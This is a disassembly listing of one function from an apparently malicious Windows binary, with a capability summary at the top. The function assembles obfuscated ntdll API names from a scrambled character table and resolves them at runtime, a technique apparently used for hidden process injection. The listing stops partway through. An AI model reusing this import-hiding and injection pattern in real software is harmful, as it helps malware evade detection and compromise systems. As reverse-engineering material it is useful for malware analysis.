Function at 0x27fe03ab3
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Enumerate process modules
Enumerate processes
Link many functions at runtime
Parse pe header

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x4e60
call fcn.27fe15bc0
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.27fe14f10
call fcn.27fe0138c
lea rax, [rbp + 0x27af]
mov qword [rbp + 0x4d70], rax
nop
nop
lea rdx, [rbp + 0x27af]
lea rax, [rbp + 0x2780]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.27feab5c0
lea rax, [rbp + 0x2760]
lea rdx, [rbp + 0x2780]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2740]
lea rdx, [rbp + 0x2760]
lea r8, [0x27ff9016f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2720]
lea rdx, [rbp + 0x2740]
lea r8, [0x27ff90171]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2700]
lea rdx, [rbp + 0x2720]
lea r8, [0x27ff90171]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x26e0]
lea rdx, [rbp + 0x2700]
lea r8, [0x27ff90173]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x26c0]
lea rdx, [rbp + 0x26e0]
lea r8, [0x27ff90175]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x26a0]
lea rdx, [rbp + 0x26c0]
lea r8, [0x27ff90177]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2680]
lea rdx, [rbp + 0x26a0]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2660]
lea rdx, [rbp + 0x2680]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2640]
lea rdx, [rbp + 0x2660]
lea r8, [0x27ff9017b]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2620]
lea rdx, [rbp + 0x2640]
lea r8, [0x27ff9017d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2600]
lea rdx, [rbp + 0x2620]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x25e0]
lea rdx, [rbp + 0x2600]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x25c0]
lea rdx, [rbp + 0x25e0]
lea r8, [0x27ff90181]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x25a0]
lea rdx, [rbp + 0x25c0]
lea r8, [0x27ff90177]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2580]
lea rdx, [rbp + 0x25a0]
lea r8, [0x27ff90171]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2560]
lea rdx, [rbp + 0x2580]
lea r8, [0x27ff90183]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2540]
lea rdx, [rbp + 0x2560]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2520]
lea rdx, [rbp + 0x2540]
lea r8, [0x27ff90185]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2500]
lea rdx, [rbp + 0x2520]
lea r8, [0x27ff90173]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x24e0]
lea rdx, [rbp + 0x2500]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x24c0]
lea rdx, [rbp + 0x24e0]
lea r8, [0x27ff90187]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x24e0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2500]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2520]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2540]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2560]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2580]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x25a0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x25c0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x25e0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2600]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2620]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2640]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2660]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2680]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x26a0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x26c0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x26e0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2700]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2720]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2740]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2760]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2780]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x27af]
mov rcx, rax
call fcn.27fe9c790
nop
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27fe315e0
mov rbx, rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x27ffbd038], rax
lea rax, [rbp + 0x2a3f]
mov qword [rbp + 0x4d68], rax
nop
nop
lea rdx, [rbp + 0x2a3f]
lea rax, [rbp + 0x2a10]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.27feab5c0
lea rax, [rbp + 0x29f0]
lea rdx, [rbp + 0x2a10]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x29d0]
lea rdx, [rbp + 0x29f0]
lea r8, [0x27ff90189]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x29b0]
lea rdx, [rbp + 0x29d0]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2990]
lea rdx, [rbp + 0x29b0]
lea r8, [0x27ff9017d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2970]
lea rdx, [rbp + 0x2990]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2950]
lea rdx, [rbp + 0x2970]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2930]
lea rdx, [rbp + 0x2950]
lea r8, [0x27ff9017b]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2910]
lea rdx, [rbp + 0x2930]
lea r8, [0x27ff9017d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x28f0]
lea rdx, [rbp + 0x2910]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x28d0]
lea rdx, [rbp + 0x28f0]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x28b0]
lea rdx, [rbp + 0x28d0]
lea r8, [0x27ff90181]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2890]
lea rdx, [rbp + 0x28b0]
lea r8, [0x27ff90177]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2870]
lea rdx, [rbp + 0x2890]
lea r8, [0x27ff90171]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2850]
lea rdx, [rbp + 0x2870]
lea r8, [0x27ff90183]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2830]
lea rdx, [rbp + 0x2850]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2810]
lea rdx, [rbp + 0x2830]
lea r8, [0x27ff90185]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x27f0]
lea rdx, [rbp + 0x2810]
lea r8, [0x27ff90173]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x27d0]
lea rdx, [rbp + 0x27f0]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x27b0]
lea rdx, [rbp + 0x27d0]
lea r8, [0x27ff90187]
mov rcx, rax
call fcn.27febbf00
lea rdx, [rbp + 0x27b0]
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27feabe20
lea rax, [rbp + 0x27b0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x27d0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x27f0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2810]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2830]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2850]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2870]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2890]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x28b0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x28d0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x28f0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2910]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2930]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2950]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2970]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2990]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x29b0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x29d0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x29f0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2a10]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2a3f]
mov rcx, rax
call fcn.27fe9c790
nop
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27fe315e0
mov rbx, rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x27ffbd040], rax
lea rax, [rbp + 0x2d0f]
mov qword [rbp + 0x4d60], rax
nop
nop
lea rdx, [rbp + 0x2d0f]
lea rax, [rbp + 0x2ce0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.27feab5c0
lea rax, [rbp + 0x2cc0]
lea rdx, [rbp + 0x2ce0]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2ca0]
lea rdx, [rbp + 0x2cc0]
lea r8, [0x27ff9018b]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2c80]
lea rdx, [rbp + 0x2ca0]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2c60]
lea rdx, [rbp + 0x2c80]
lea r8, [0x27ff90173]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2c40]
lea rdx, [rbp + 0x2c60]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2c20]
lea rdx, [rbp + 0x2c40]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2c00]
lea rdx, [rbp + 0x2c20]
lea r8, [0x27ff90175]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2be0]
lea rdx, [rbp + 0x2c00]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2bc0]
lea rdx, [rbp + 0x2be0]
lea r8, [0x27ff9017b]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2ba0]
lea rdx, [rbp + 0x2bc0]
lea r8, [0x27ff9017d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2b80]
lea rdx, [rbp + 0x2ba0]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2b60]
lea rdx, [rbp + 0x2b80]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2b40]
lea rdx, [rbp + 0x2b60]
lea r8, [0x27ff90181]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2b20]
lea rdx, [rbp + 0x2b40]
lea r8, [0x27ff90177]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2b00]
lea rdx, [rbp + 0x2b20]
lea r8, [0x27ff90171]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2ae0]
lea rdx, [rbp + 0x2b00]
lea r8, [0x27ff90183]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2ac0]
lea rdx, [rbp + 0x2ae0]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2aa0]
lea rdx, [rbp + 0x2ac0]
lea r8, [0x27ff90185]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2a80]
lea rdx, [rbp + 0x2aa0]
lea r8, [0x27ff90173]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2a60]
lea rdx, [rbp + 0x2a80]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2a40]
lea rdx, [rbp + 0x2a60]
lea r8, [0x27ff90187]
mov rcx, rax
call fcn.27febbf00
lea rdx, [rbp + 0x2a40]
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27feabe20
lea rax, [rbp + 0x2a40]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2a60]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2a80]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2aa0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2ac0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2ae0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2b00]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2b20]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2b40]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2b60]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2b80]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2ba0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2bc0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2be0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2c00]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2c20]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2c40]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2c60]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2c80]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2ca0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2cc0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2ce0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2d0f]
mov rcx, rax
call fcn.27fe9c790
nop
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27fe315e0
mov rbx, rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x27ffbd048], rax
lea rax, [rbp + 0x2f1f]
mov qword [rbp + 0x4d58], rax
nop
nop
lea rdx, [rbp + 0x2f1f]
lea rax, [rbp + 0x2ef0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.27feab5c0
lea rax, [rbp + 0x2ed0]
lea rdx, [rbp + 0x2ef0]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2eb0]
lea rdx, [rbp + 0x2ed0]
lea r8, [0x27ff9018d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2e90]
lea rdx, [rbp + 0x2eb0]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2e70]
lea rdx, [rbp + 0x2e90]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2e50]
lea rdx, [rbp + 0x2e70]
lea r8, [0x27ff90177]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2e30]
lea rdx, [rbp + 0x2e50]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2e10]
lea rdx, [rbp + 0x2e30]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2df0]
lea rdx, [rbp + 0x2e10]
lea r8, [0x27ff9018f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2dd0]
lea rdx, [rbp + 0x2df0]
lea r8, [0x27ff90191]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2db0]
lea rdx, [rbp + 0x2dd0]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2d90]
lea rdx, [rbp + 0x2db0]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2d70]
lea rdx, [rbp + 0x2d90]
lea r8, [0x27ff90177]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2d50]
lea rdx, [rbp + 0x2d70]
lea r8, [0x27ff90193]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2d30]
lea rdx, [rbp + 0x2d50]
lea r8, [0x27ff90195]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2d10]
lea rdx, [rbp + 0x2d30]
lea r8, [0x27ff90197]
mov rcx, rax
call fcn.27febbf00
lea rdx, [rbp + 0x2d10]
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27feabe20
lea rax, [rbp + 0x2d10]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2d30]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2d50]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2d70]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2d90]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2db0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2dd0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2df0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2e10]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2e30]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2e50]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2e70]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2e90]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2eb0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2ed0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2ef0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2f1f]
mov rcx, rax
call fcn.27fe9c790
nop
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27fe315e0
mov rbx, rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x27ffbd050], rax
lea rax, [rbp + 0x30ef]
mov qword [rbp + 0x4d50], rax
nop
nop
lea rdx, [rbp + 0x30ef]
lea rax, [rbp + 0x30c0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.27feab5c0
lea rax, [rbp + 0x30a0]
lea rdx, [rbp + 0x30c0]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3080]
lea rdx, [rbp + 0x30a0]
lea r8, [0x27ff90199]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3060]
lea rdx, [rbp + 0x3080]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3040]
lea rdx, [rbp + 0x3060]
lea r8, [0x27ff9019b]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3020]
lea rdx, [rbp + 0x3040]
lea r8, [0x27ff90181]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3000]
lea rdx, [rbp + 0x3020]
lea r8, [0x27ff90185]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2fe0]
lea rdx, [rbp + 0x3000]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2fc0]
lea rdx, [rbp + 0x2fe0]
lea r8, [0x27ff9018f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2fa0]
lea rdx, [rbp + 0x2fc0]
lea r8, [0x27ff90191]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2f80]
lea rdx, [rbp + 0x2fa0]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2f60]
lea rdx, [rbp + 0x2f80]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2f40]
lea rdx, [rbp + 0x2f60]
lea r8, [0x27ff90177]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x2f20]
lea rdx, [rbp + 0x2f40]
lea r8, [0x27ff90193]
mov rcx, rax
call fcn.27febbf00
lea rdx, [rbp + 0x2f20]
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27feabe20
lea rax, [rbp + 0x2f20]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2f40]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2f60]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2f80]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2fa0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2fc0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x2fe0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3000]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3020]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3040]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3060]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3080]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x30a0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x30c0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x30ef]
mov rcx, rax
call fcn.27fe9c790
nop
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27fe315e0
mov rbx, rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x27ffbd058], rax
lea rax, [rbp + 0x339f]
mov qword [rbp + 0x4d48], rax
nop
nop
lea rdx, [rbp + 0x339f]
lea rax, [rbp + 0x3370]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.27feab5c0
lea rax, [rbp + 0x3350]
lea rdx, [rbp + 0x3370]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3330]
lea rdx, [rbp + 0x3350]
lea r8, [0x27ff90189]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3310]
lea rdx, [rbp + 0x3330]
lea r8, [0x27ff90177]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x32f0]
lea rdx, [rbp + 0x3310]
lea r8, [0x27ff9017d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x32d0]
lea rdx, [rbp + 0x32f0]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x32b0]
lea rdx, [rbp + 0x32d0]
lea r8, [0x27ff9019d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3290]
lea rdx, [rbp + 0x32b0]
lea r8, [0x27ff90173]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3270]
lea rdx, [rbp + 0x3290]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3250]
lea rdx, [rbp + 0x3270]
lea r8, [0x27ff9019f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3230]
lea rdx, [rbp + 0x3250]
lea r8, [0x27ff9017d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3210]
lea rdx, [rbp + 0x3230]
lea r8, [0x27ff901a1]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x31f0]
lea rdx, [rbp + 0x3210]
lea r8, [0x27ff901a3]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x31d0]
lea rdx, [rbp + 0x31f0]
lea r8, [0x27ff90171]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x31b0]
lea rdx, [rbp + 0x31d0]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3190]
lea rdx, [rbp + 0x31b0]
lea r8, [0x27ff901a5]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3170]
lea rdx, [rbp + 0x3190]
lea r8, [0x27ff901a7]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3150]
lea rdx, [rbp + 0x3170]
lea r8, [0x27ff901a9]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3130]
lea rdx, [rbp + 0x3150]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x3110]
lea rdx, [rbp + 0x3130]
lea r8, [0x27ff90175]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x30f0]
lea rdx, [rbp + 0x3110]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rdx, [rbp + 0x30f0]
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27feabe20
lea rax, [rbp + 0x30f0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3110]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3130]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3150]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3170]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3190]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x31b0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x31d0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x31f0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3210]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3230]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3250]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3270]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3290]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x32b0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x32d0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x32f0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3310]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3330]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3350]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x3370]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x339f]
mov rcx, rax
call fcn.27fe9c790
nop
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27fe315e0
mov rbx, rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x27ffbd060], rax
lea rax, [rbp + 0x36cf]
